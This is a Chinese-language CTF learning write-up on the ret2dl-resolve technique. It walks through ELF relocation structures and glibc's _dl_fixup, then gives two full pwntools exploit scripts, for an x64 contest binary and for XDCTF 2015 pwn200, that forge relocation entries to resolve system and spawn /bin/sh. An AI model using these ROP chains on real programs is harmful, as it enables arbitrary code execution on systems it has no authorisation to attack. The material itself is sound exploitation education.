dl-resolve浅析

2019-09-19 约 1254 字 预计阅读 6 分钟

声明:本文 【dl-resolve浅析】 由作者 leb****1097 于 2019-09-19 09:10:01 首发 先知社区 曾经 浏览数 112 次

感谢 leb****1097 的辛苦付出!

记录一下学习ret2dl-resolve的曲折历程。可能顺带回顾一下之前的内容。这篇文章会尽量讲清楚利用过程。

前置知识

首先需要了解构成elf文件的section header table,在后面的分析中主要涉及到三个section:.dynsym,.rela.plt和.dynstr


.rela.plt节(JMPREL段)的结构体组成如下:

typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                 /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;              /* Addend */
} Elf64_Rela;

r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型
r_addend: 指定用于计算要存储到可重定位字段中的值的常量加数


.dynsym节(SYMTAB段)的结构体组成:

typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index) */
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char st_other;                /* Symbol visibility */
  Elf64_Section        st_shndx;                /* Section index */
  Elf64_Addr        st_value;                /* Symbol value */
  Elf64_Xword        st_size;                /* Symbol size */
} Elf64_Sym;

st_name: 该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。


.rel.plt内结构体组成:

typedef struct
{
  Elf32_Addr        r_offset;                /* Address */
  Elf32_Word        r_info;                  /* Relocation type and symbol index */
} Elf32_Rel;

r_offset: 该函数在.got.plt中的地址
r_info: 包含该函数在.dynsym节中的索引和重定位类型


.dynsym内结构体组成:

typedef struct
{
  Elf32_Word        st_name;                /* Symbol name (string tbl index) */
  Elf32_Addr        st_value;                /* Symbol value */
  Elf32_Word        st_size;                /* Symbol size */
  unsigned char        st_info;                /* Symbol type and binding */
  unsigned char        st_other;                /* Symbol visibility */
  Elf32_Section        st_shndx;                /* Section index */
} Elf32_Sym;

st_name: 该值为此函数在.dynstr中的偏移,其中包含符号名称的字符表示形式。

以前做protostar的时候简单学习过一次plt和got,但当时仅限于plt和got表间的跳转[传送门],最后的分析止步于dl_runtime_resolve。这次的ret2dl-resolve就会涉及到dl_runtime_resolve这个函数内的具体实现,并加以利用。

要利用这个函数首先就要理清他的内部逻辑,以及涉及到的各种结构体。在学习了多个大佬的博客之后,终于慢慢理解了got表中函数的地址是怎么样一步一步从无到有的(我太菜了)。为了便于自己理解,我把整个过程称作三次跳跃(三级跳是不是好听点:p)。

跟踪

观察puts函数从被调用,到完成其重定向的整个过程。(用例为64位elf)

这是调用dl_runtime_resolve前的流程,用一张图可以很直观的展示出来。可以看到,在0x4005c00x4005d6处push的分别是它的两个参数link_map和reloc_offset。

此时程序流程进入到dl_runtime_resolve中,开始重定向操作。而真正的重定向由dl_runtime_resolve中的_dl_fixup完成。

_dl_fixup的源码在这里

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
           ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
           struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }
      /* We need to keep the scope around so do some locking.  This is
         not necessary for objects which cannot be unloaded or when
         we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
        {
          THREAD_GSCOPE_SET_FLAG ();
          flags |= DL_LOOKUP_GSCOPE_LOCK;
        }
#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
        THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif
      /* Currently result contains the base load address (or link map)
         of the object that defines sym.  Now add in the symbol
         offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
                                   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
         address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

_dl_fixup的参数由dl_runtime_resolve压栈传递,即link_map和reloc_offset(由前面宏定义可知reloc_offset和reloc_arg是一样的)

const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

line9line13(后面简写为l)从link_map中获取.dynsym,.rela.plt,.dynstr等节的地址。

reloc_offset的值用于指示包含该函数某些信息的结构体在<font color=#fc97c9>.rela.plt</font>节中的位置


.rela.plt段中能看到puts对应的结构体,其info的值为0x100000007,从中提取到的.dynsym索引为1,重定位类型为7(即R_386_JMP_SLOT)

R_386_JMP_SLOT
    Created by the link-editor for dynamic objects to provide lazy binding.
    Its offset member gives the location of a procedure linkage table entry. 
    The runtime linker modifies the procedure linkage table entry to transfer control to the designated symbol address.

至此,通过reloc_offset进行的第一次跳跃完成,现在需要使用r_info进行第二次跳跃。已经从link_map获取了.dynsym的起始地址,所以puts在<font color=#fc97c9>.dynsym</font>中的位置是.dynsym[1]。



从puts在.dynsym中的Elf64_Sym结构体成员st_name找到了其名称的字符串在.dynstr中的偏移为0x10,至此完成了第二次跳跃。同前面一样,由.dynstr的起始地址加上偏移就能在.dynstr中找到该函数对应符号的字符串。现在进行第三次跳跃。


由起始地址(0x4003e8)加上偏移(0x10)得到的字符串则是预期中的puts(0x4003f8),最后一跳完成。


三次跳跃示意图

这个字符串作为l47_dl_lookup_symbol_x函数的参数之一,返回值为libc基址,保存在result中。l58DL_FIXUP_MAKE_VALUE宏从已装载的共享库中查找puts函数的地址,对其重定位后加上该程序的装载地址,得到puts函数的真实地址,结果保存在value中。最后调用elf_machine_fixup_plt,向puts函数对应got表中填写真实地址,其中参数rel_addr为之前算出的该函数got表地址(0x620018)。

到此为止puts函数已经完成重定向,利用的方式也很显然:即首先构造fake reloc_arg使得.rela.plt起始地址加上这个值后的地址落在我们可控的区域内,接着依次构造fake .dynsym和.dynstr,形成一个完整的fake链,最后在.dynstr相应位置填写system就可以从动态库中将system的真实地址解析到puts的got表项中,最终调用puts实际调用的则是system。

但是想要成功利用的话还有一个地方需要注意,在源码的l26l33

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
  const ElfW(Half) *vernum =
    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}

这段代码取r_info的高位作为vernum的下标,访问对应的值并赋给ndx,再从l_versions中找到对应的值赋给version。

问题在于,我们构造的fake链一般位于bss段(64位下,bss段一般位于0x600000之后),.rela.plt一般在0x400000左右,所以我们构造的r_info的高位:reloc_arg一般会很大,又因为程序计算&symtab[ELFW(R_SYM) (reloc->r_info)]vernum[ELFW(R_SYM) (reloc->r_info)]时使用下标的数据类型大小不同(symtab中的结构体大小为0x18字节,vernum的数据类型为uint16_t,大小为0x2字节),这就导致vernum[ELFW(R_SYM) (reloc->r_info)]大概率会访问到0x400000到0x600000之间的不可读区域(64位下,这个区间一般不可读),使得程序报错。

如果使得l->l_info[VERSYMIDX (DT_VERSYM)]的值为0,就可以绕过这块if判断,而l->l_info[VERSYMIDX (DT_VERSYM)]的位置就在link_map+0x1c8处,所以需要泄露位于0x620008处link_map的值,并将link_map+0x1c8置零。

这种攻击方式依赖源程序自带的输出函数。

x64

题目
提取码:eo5z

之前第五空间比赛的一道题目,本身很简单,坑的是泄露libc之后无论如何都找不到对应的libc版本。这时就需要ret2dl-resolve(把所有libc dump下来挨个找也行。。)

刚才分析的用例就是这道题中的puts函数,已经分析的差不多了,剩下的就是精确计算偏移。

首先泄露link_map地址:

payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)
r.sendline(payload)
link_map_addr = u64(r.recv(6).ljust(8, "\x00"))

loop回start函数继续利用溢出覆盖link_map+0x1c8、构造fake链:

base_addr = 0x620789 
align = 0x18 - (base_addr - rel_plt_addr) % 0x18 #Elf64_Rela大小为0x18字节,所以按0x18对齐
base_addr = base_addr + align #对齐后为0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18 #获得fake .rela.plt偏移
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18 #获得fake .dynsym偏移
system_off = base_addr + 0x30 - dynstr_addr 
bin_sh_addr = base_addr + 0x38

base_addr为puts在fake .rela.plt的地址,这个位置选在了.data段,因为此段有很大一部分都是可写并且不会影响其他功能,所以在这一段中随便选了一个地址。由于后面有对齐操作,所以这里的base_addr故意没有对齐。


base_addr处,构造后的fake链:

  • 红色fake .rela.plt
  • 蓝色fake .dynsym
  • 绿色system和/bin/sh

最终payload:

from pwn import *
#-*- coding:utf-8 -*-
context.log_level = 'debug'

r = process('./pwn')
#gdb.attach(r)
elf = ELF('./pwn')

puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630 

puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048

pop_rdi = 0x414fc3
pop_rsi_r15 = 0x414fc1

read_func = 0x4007e2

plt_addr = 0x4005c0
data_addr = 0x620060
got_plt_addr = 0x620000

pop_rbp_ret = 0x4006b0
leave_ret = 0x4039a3

dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8

start = 0x400650
main = 0x4007c3

r.sendline('-1')
r.recvuntil('GOOD?\n')

base_addr = 0x620789
align = 0x18 - (base_addr - rel_plt_addr) % 0x18 
base_addr = base_addr + align #0x620798
reloc_arg = (base_addr - rel_plt_addr) / 0x18 
dynsym_off = (base_addr + 0x18 - dynsym_addr) / 0x18 
system_off = base_addr + 0x30 - dynstr_addr
bin_sh_addr = base_addr + 0x38 

log.info("base_addr: "+hex(base_addr))
log.info("reloc_arg: "+hex(reloc_arg))
log.info("dynsym_off: "+hex(dynsym_off))
log.info("system_off: "+hex(system_off))
log.info("bin_sh_addr: "+hex(bin_sh_addr))

payload = p8(0)*(0x10)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(start)


r.sendline(payload)

link_map_addr = u64(r.recv(6).ljust(8, "\x00"))
log.success('link_map_addr: ' + hex(link_map_addr))

r.sendline('-1')
r.recvuntil('GOOD?\n')

payload2 = p8(0)*0x18
payload2 += p64(pop_rsi_r15)
payload2 += p64(0x20)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(link_map_addr + 0x1c0)
payload2 += p64(read_func)

payload2 += p64(pop_rsi_r15)
payload2 += p64(0x100)
payload2 += p64(0)
payload2 += p64(pop_rdi)
payload2 += p64(base_addr - 0x8) 
payload2 += p64(read_func)#读取fake链到可控制区域(.data)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(plt_addr) #跳转到PLT[0],push link_map后执行dl_runtime_resolve
payload2 += p64(reloc_arg) #跳转到dl_runtime_resolve后,此处为rsp+0x10,被视为reloc_arg
payload2 += p8(0)*(0x100 - len(payload2))

r.send(payload2)
r.send(p8(0)*0x20)

payload3 = p8(0)*6
payload3 += p64(read_got)
payload3 += p32(0x7) + p32(dynsym_off)
payload3 += p64(0)
payload3 += p32(system_off) + p32(0x12)
payload3 += p64(0)*2
payload3 += 'system\x00\x00'
payload3 += '/bin/sh\x00'
payload3 += p8(0)*(0x100 - len(payload3))

r.send(payload3)

r.interactive()

x86

题目
提取码:ofc6

ctf wiki上的一道题,XDCTF 2015的pwn200。

x86下的结构体和x64略有不同,但利用方法大同小异。

x86下的JMPREL段对应.rel.plt节,而不是x64下的.rela.plt节

找到.rel.plt起始地址

.dynsym起始地址

之后就是慢慢调整偏移

from pwn import *

context.log_level = 'debug'

r = process('./pwn200')
elf = ELF('./pwn200')
#gdb.attach(r)
write_plt = elf.symbols['write']
write_got = elf.got['write']

read_plt = elf.symbols['read']
read_got = elf.got['read']

start = 0x80483D0
ppp_ret = 0x080485cd
pop_ebp = 0x08048453
leave = 0x08048481

rel_plt = 0x8048318
plt0 = 0x8048370
dynsym = 0x80481D8
dynstr = 0x8048268


#构造fake地址
#这里手动对齐了,所以省去了对齐操作。Elf32_Rel大小为0x10字节,所以除0x10
base_addr = 0x804a800
reloc_arg = base_addr + 0x28 - rel_plt
dynsym_off = (base_addr + 0x38 - dynsym) / 0x10
system_off = base_addr + 0x48 - dynstr
binsh_addr =  base_addr + 0x50
r_info = (dynsym_off << 8) | 0x7

log.success('reloc_arg: ' + hex(reloc_arg))
log.success('dynsym_off: ' + hex(dynsym_off))
log.success('system_off: ' + hex(system_off))
log.success('binsh_addr: ' + hex(binsh_addr))
log.success('r_info: ' + hex(r_info))
bss = 0x804a020

payload = 'a'*0x6c + 'a'*4
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(base_addr)
payload += p32(100)
payload += p32(pop_ebp)
payload += p32(base_addr)#这里可以改成base_addr-4提前平衡leave的pop操作,后面的偏移会好算点
payload += p32(leave)

r.recvuntil('Welcome to XDCTF2015~!')
r.sendline(payload)

payload = 'aaaa' #因为leave返回前有pop操作,所以这里填充4字节以平衡栈
payload += p32(plt0)
payload += p32(reloc_arg)
payload += 'a'*4 #不需要返回地址,这里为填充字符
payload += p32(binsh_addr) #plt0最后相当于调用system,所以这里为system的参数地址
payload += 'a'*0x14 
payload += p32(read_got)
payload += p32(r_info)
payload += 'a'*8
payload += p32(system_off)
payload += p32(0)*2
payload += p32(0x12)
payload += 'system\x00\x00'
payload += '/bin/sh\x00'
payload += 'a'*(100-len(payload))

r.sendline(payload)
r.interactive()

结语

继ret2shellcode,ret2libc,ret2text,ret2syscall等ROP技巧之后,我以为ret2dlresolve会一样的简单,事实证明不能以貌取人。学习这个利用方法的过程中最大的感受就是它不仅利用难度提高了,对偏移计算的要求也非常苛刻,在三次跳跃的过程中,任何误差都会导致无法get shell。

参考链接:

http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://docs.oracle.com/cd/E19683-01/816-1386/chapter6-54839/index.html

https://bbs.pediy.com/thread-253833.htm

https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#5reloc

http://rk700.github.io/2015/08/09/return-to-dl-resolve/

https://code.woboq.org/userspace/glibc/elf/elf.h.html#660

https://blog.csdn.net/conansonic/article/details/54634142

https://www.cnblogs.com/ichunqiu/p/9542224.html

https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now